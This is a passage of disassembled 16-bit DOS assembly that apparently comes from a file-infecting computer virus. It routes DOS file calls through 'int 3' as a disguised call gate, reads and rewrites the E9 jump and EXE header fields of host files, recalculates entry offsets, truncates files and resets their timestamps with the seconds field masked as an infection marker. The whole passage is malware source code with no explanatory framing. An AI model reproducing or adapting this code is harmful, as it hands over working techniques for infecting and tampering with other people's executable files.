dx,[si+42h] add dx,42h nop ;*ASM fixup - sign extn byte call sub_13 mov ah,3Fh ; '?' lea dx,[si+91Eh] ; Load effective addr mov cx,2 int 3 ; Debug breakpoint mov dx,6 call sub_13 mov ah,40h ; '@' lea dx,[si+91Eh] ; Load effective addr mov cx,2 int 3 ; Debug breakpoint mov dx,[si+42h] add dx,91Eh call sub_13 mov ah,3Fh ; '?' lea dx,[si+91Eh] ; Load effective addr mov cx,5 int 3 ; Debug breakpoint mov dx,8 call sub_13 mov ah,3Fh ; '?' lea dx,[si+60h] ; Load effective addr nop ;*ASM fixup - displacement mov cx,2 int 3 ; Debug breakpoint mov dx,[si+60h] call sub_13 mov ah,40h ; '@' lea dx,[si+91Eh] ; Load effective addr mov cx,5 int 3 ; Debug breakpoint mov dx,[si+42h] call sub_13 mov ah,40h ; '@' xor cx,cx ; Zero register int 3 ; Debug breakpoint jmp loc_78 loc_74: cmp byte ptr ds:[91Eh][si],0E9h je loc_75 ; Jump if equal jmp loc_79 loc_75: sub word ptr ds:[91Fh][si],123h mov dx,word ptr ds:[91Fh][si] add dx,91Eh call sub_13 mov ah,3Fh ; '?' lea dx,[si+924h] ; Load effective addr mov cx,3 int 3 ; Debug breakpoint xor dx,dx ; Zero register call sub_13 mov ah,40h ; '@' lea dx,[si+924h] ; Load effective addr mov cx,3 int 3 ; Debug breakpoint mov dx,word ptr ds:[91Fh][si] call sub_13 mov ah,40h ; '@' xor cx,cx ; Zero register int 3 ; Debug breakpoint jmp short loc_78 loc_76: mov dx,8 call sub_13 mov ah,3Fh ; '?' lea dx,[si+91Eh] ; Load effective addr mov cx,2 int 3 ; Debug breakpoint mov dx,14h call sub_13 mov ah,3Fh ; '?' lea dx,[si+122h] ; Load effective addr mov cx,4 int 3 ; Debug breakpoint mov cl,0Ch shr word ptr ds:[124h][si],cl ; Shift w/zeros fill mov ax,word ptr ds:[91Eh][si] mov cl,4 shl ax,cl ; Shift w/zeros fill sub ax,0FEh cwd ; Word to double word add word ptr ds:[122h][si],ax adc word ptr ds:[124h][si],dx mov ax,4200h mov dx,word ptr ds:[122h][si] mov cx,word ptr ds:[124h][si] add dx,122h adc cx,0 int 3 ; Debug breakpoint mov ah,3Fh ; '?' lea dx,[si+91Eh] ; Load effective addr mov cx,4 int 3 ; Debug breakpoint mov dx,14h call sub_13 mov ah,40h ; '@' lea dx,[si+91Eh] ; Load effective addr mov cx,4 int 3 ; Debug breakpoint mov ax,4200h mov dx,word ptr ds:[122h][si] mov cx,word ptr ds:[124h][si] int 3 ; Debug breakpoint mov ah,40h ; '@' xor cx,cx ; Zero register int 3 ; Debug breakpoint call sub_18 loc_78: mov ax,5701h mov cx,word ptr ds:[93Fh][si] mov dx,word ptr ds:[941h][si] and cx,0FFE0h int 3 ; Debug breakpoint loc_79: xor dx,dx ; Zero register call sub_13 retn sub_21 endp db 26h, 11h,0EAh, 4Ah, 00h, 00h db 70h,0B0h,0F3h,0E6h, 60h,0B9h db 1Ah, 1Ah db 716 dup (1Ah) seg_a ends end start